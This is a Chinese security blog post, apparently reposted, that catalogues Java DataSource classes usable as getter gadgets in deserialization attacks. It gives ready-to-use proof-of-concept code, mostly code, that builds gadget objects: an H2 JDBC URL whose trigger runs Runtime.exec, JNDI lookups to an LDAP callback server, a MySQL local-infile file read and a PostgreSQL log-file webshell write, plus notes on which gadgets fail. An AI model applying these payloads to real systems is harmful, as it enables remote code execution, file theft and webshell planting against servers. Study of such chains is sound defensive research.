最近跟jdbc有关的新知识——getter篇

admin 2026-01-08 02:04:10 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: 文章梳理了可触发RCE的DataSourcegetter链,给出C3p0、Druid、Hibernate、WebLogic、Tomcat、Hutool等库中同时实现DataSource与Serializable的类清单,演示DruidXADataSource与DriverAdapterCPDS配合H2触发calc的完整POC,并补充LDAP、SignedObject、MySQL、Oracle、PostgreSQL等利用场景,指出ComboPooledDataSource会无限重连导致DoS,Druid系列与fastjson版本兼容性限制及若干因提前校验而无法使用的getter,为反序列化利用提供可直接套用的攻击路径与避坑指南。 综合评分: 88 文章分类: 漏洞分析,代码审计,WEB安全,红队,漏洞POC


cover_image

最近跟jdbc有关的新知识——getter篇

原创

珂字辈

珂技知识分享

2026年1月7日 12:05 湖北

最近跟jdbc有关的新知识——toString篇

最近跟jdbc有关的新知识——json篇

最近跟jdbc有关的新知识——ldap篇

除了TemplatesImpl哪些getter可以造成危害,我之前的文章提到过很多了,其中DataSource.getConnection()+H2是比较常用的RCE手段。所以主要是找DataSource类,以下是我收集的一些同时实现DataSource和Serializable的类,可以用来转jdbc。

C3p0依赖

com.mchange.v2.c3p0.DriverManagerDataSource com.mchange.v1.db.sql.DriverManagerDataSourcecom.mchange.v2.c3p0.test.FreezableDriverManagerDataSourcecom.mchange.v2.c3p0.ComboPooledDataSource

更多见

https://forum.butian.net/share/4268

mchange-commons-java依赖

com.mchange.v2.naming.ReferenceIndirector$ReferenceSerialized

Druid依赖

com.alibaba.druid.pool.xa.DruidXADataSourcecom.alibaba.druid.pool.DruidDataSource

hibernate-core-4.x依赖

org.hibernate.service.jdbc.connections.internal.DriverManagerConnectionProviderImpl

weblogic/oracle依赖

oracle.ucp.jdbc.PoolDataSourceImpl

tomcat依赖

org.apache.tomcat.dbcp.dbcp.cpdsadapter.DriverAdapterCPDS org.apache.tomcat.dbcp.dbcp2.cpdsadapter.DriverAdapterCPDSorg.apache.commons.dbcp.cpdsadapter.DriverAdapterCPDSorg.apache.commons.dbcp2.cpdsadapter.DriverAdapterCPDS

hutool依赖

cn.hutool.db.ds.pooled.PooledDSFactorycn.hutool.db.ds.simple.SimpleDSFactorycn.hutool.db.ds.c3p0.C3p0DSFactorycn.hutool.db.ds.dbcp.DbcpDSFactorycn.hutool.db.ds.druid.DruidDSFactorycn.hutool.db.ds.hikari.HikariDSFactorycn.hutool.db.ds.jndi.JndiDSFactorycn.hutool.db.ds.tomcat.TomcatDSFactory

其中ComboPooledDataSource/C3p0DSFactory会无限尝试连接,可能导致拒绝服务,慎用。

DruidXADataSource无法跟fastjson配合,getter顺序有问题,会先进入DruidAbstractDataSource.getCompositeData报空指针,而dataSourceStat没实现序列化。只能参与fastjson2/jackson链。

同理DruidDataSource无法跟fastjson/fastjson2配合,只能参与jackson链。

以DruidXADataSource和DriverAdapterCPDS为例。

     DruidXADataSource ds = new DruidXADataSource();     ds.setDriverClassName("org.h2.Driver");     String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +             "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +             "java.lang.Runtime.getRuntime().exec('calc')\n" +             "$$\n";     ds.setUrl(JDBC_URL);     ds.setStatLogger(null);     ds.setLogWriter(null);     Reflections.setFieldValue(ds, "transactionHistogram", null);     Reflections.setFieldValue(ds, "initedLatch", null);     ds.setInitialSize(2);
     JSONArray jsonArray = new JSONArray();     jsonArray.add(ds);     //jsonArray.toString();
     BadAttributeValueExpException val = new BadAttributeValueExpException(null);     Reflections.setFieldValue(bd,"val",jsonArray);
     DriverAdapterCPDS dac = new DriverAdapterCPDS();     String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n" +             "INFORMATION_SCHEMA.TABLES AS $$//javascript\n" +             "java.lang.Runtime.getRuntime().exec('calc')\n" +             "$$\n";     dac.setUrl(JDBC_URL);     dac.setDriver("org.h2.Driver");     InstanceKeyDataSource dbs = new SharedPoolDataSource();     //dbs = new PerUserPoolDataSource();     dbs.setConnectionPoolDataSource(dac);     //dbs.getConnection();

除此之外,其他常用的存在一定危害的getter如下。

&nbsp; &nbsp; &nbsp; &nbsp; Constructor<?> ctor = Class.forName("com.sun.jndi.ldap.LdapAttribute").getDeclaredConstructor(new&nbsp;Class<?>[]{String.class});&nbsp; &nbsp; &nbsp; &nbsp; ctor.setAccessible(true);&nbsp; &nbsp; &nbsp; &nbsp; javax.naming.directory.Attribute obj = (javax.naming.directory.Attribute) ctor.newInstance("id");&nbsp; &nbsp; &nbsp; &nbsp; Reflections.setFieldValue(obj,&nbsp;"baseCtxURL",&nbsp;"ldap://127.0.0.1:1389");&nbsp; &nbsp; &nbsp; &nbsp; Reflections.setFieldValue(obj,&nbsp;"rdn",&nbsp;new&nbsp;CompositeName("exp"));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//obj.getAttributeDefinition();
&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;KeyPairGenerator&nbsp;kpg&nbsp;=&nbsp;KeyPairGenerator.getInstance("DSA");&nbsp; &nbsp; &nbsp; &nbsp; kpg.initialize(1024);&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;KeyPair&nbsp;kp&nbsp;=&nbsp;kpg.generateKeyPair();&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;SignedObject&nbsp;signedObject&nbsp;=&nbsp;new&nbsp;SignedObject(queue,kp.getPrivate(), java.security.Signature.getInstance("DSA"));&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;//signedObject.getObject();
&nbsp;&nbsp;MysqlDataSource&nbsp;mds&nbsp;=&nbsp;new&nbsp;MysqlDataSource();&nbsp;&nbsp;//mds = new MysqlConnectionPoolDataSource();&nbsp; mds.setUrl("jdbc:mysql://127.0.0.1:3307/test?allowLoadLocalInfile=true&allowUrlInLocalInfile=true&maxAllowedPacket=655360");&nbsp; mds.setPassword("123456");&nbsp; mds.setUser("win_ini");&nbsp;&nbsp;//mds.getConnection();
&nbsp; oracle.jdbc.datasource.impl.OracleDataSource&nbsp;ods&nbsp;=&nbsp;new&nbsp;oracle.jdbc.datasource.impl.OracleDataSource();&nbsp; ods.setURL("jdbc:oracle:thin:@//127.0.0.1:1521/orcl");&nbsp; ods.setUser("system");&nbsp; ods.setPassword("123456");&nbsp;&nbsp;//ods.getConnection();
&nbsp; &nbsp; &nbsp;InstanceKeyDataSource&nbsp;dbs&nbsp;=&nbsp;new&nbsp;SharedPoolDataSource();&nbsp; &nbsp; &nbsp;//dbs = new PerUserPoolDataSource();&nbsp; &nbsp; &nbsp;dbs.setDataSourceName("ldap://127.0.0.1:1389/test");&nbsp; &nbsp; &nbsp;//dbs.getConnection();
&nbsp;&nbsp;PGConnectionPoolDataSource&nbsp;ods&nbsp;=&nbsp;new&nbsp;PGConnectionPoolDataSource();&nbsp; ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");&nbsp; ods.setUser("root");&nbsp; ods.setPassword("123456");&nbsp;&nbsp;//ods.getConnection();
&nbsp;&nbsp;PGSimpleDataSource&nbsp;ods&nbsp;=&nbsp;new&nbsp;PGSimpleDataSource();&nbsp; ods.setURL("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");&nbsp; ods.setUser("root");&nbsp; ods.setPassword("123456");&nbsp;&nbsp;//ods.getConnection();

一些没法用的getter

提前触发其他getter进入checkState()校验导致抛错。

&nbsp; com.sun.rowset.JdbcRowSetImpl&nbsp;obj&nbsp;=&nbsp;new&nbsp;JdbcRowSetImpl();&nbsp; obj.setDataSourceName("ldap://127.0.0.1:1389/exp");&nbsp;&nbsp;//obj.getDatabaseMetaData();

JdbcDataSource的父类TraceObject未实现反序列化,debugCodeCall(“getConnection”)会报空指针。

&nbsp; &nbsp; &nbsp;JdbcDataSource jds = new JdbcDataSource();&nbsp; &nbsp; &nbsp;String JDBC_URL =&nbsp;"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"INFORMATION_SCHEMA.TABLES AS&nbsp;$$//javascript\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"java.lang.Runtime.getRuntime().exec('calc')\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"$$\n";&nbsp; &nbsp; &nbsp;jds.setUrl(JDBC_URL);

提前进入getCursorName()抛错。

&nbsp; oracle.jdbc.rowset.OracleCachedRowSet&nbsp;obj&nbsp;=&nbsp;new&nbsp;OracleCachedRowSet();&nbsp; obj.setDataSourceName("ldap://127.0.0.1:1389/exp");&nbsp;&nbsp;//obj.getConnection();

提前进入getParentLogger(),但没实现这个方法导致抛错。

&nbsp;&nbsp;DriverAdapterCPDS&nbsp;dbs&nbsp;=&nbsp;new&nbsp;DriverAdapterCPDS();&nbsp; dbs.setUrl("jdbc:postgresql://127.0.0.1:52791/test?loggerLevel=TRACE&loggerFile=shell.jsp");&nbsp; dbs.setDriver("org.postgresql.Driver");&nbsp; dbs.setUser("root");&nbsp; dbs.setPassword("123456");&nbsp;&nbsp;//dbs.getPooledConnection();

UnpooledDataSource未实现反序列化

&nbsp; &nbsp; &nbsp;org.apache.ibatis.datasource.unpooled.UnpooledDataSource&nbsp;ds&nbsp;=&nbsp;new&nbsp;UnpooledDataSource();&nbsp; &nbsp; &nbsp;ds.setDriver("org.h2.Driver");&nbsp; &nbsp; &nbsp;String&nbsp;JDBC_URL&nbsp;=&nbsp;"jdbc:h2:mem:test;MODE=MSSQLServer;init=CREATE TRIGGER shell3 BEFORE SELECT ON\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"INFORMATION_SCHEMA.TABLES AS $$//javascript\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"java.lang.Runtime.getRuntime().exec('calc')\n"&nbsp;+&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;"$$\n";&nbsp; &nbsp; &nbsp;ds.setUrl(JDBC_URL);&nbsp; &nbsp; &nbsp;//ds.getConnection();

免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:珂技知识分享 珂字辈《最近跟jdbc有关的新知识——getter篇》

评论:0   参与:  0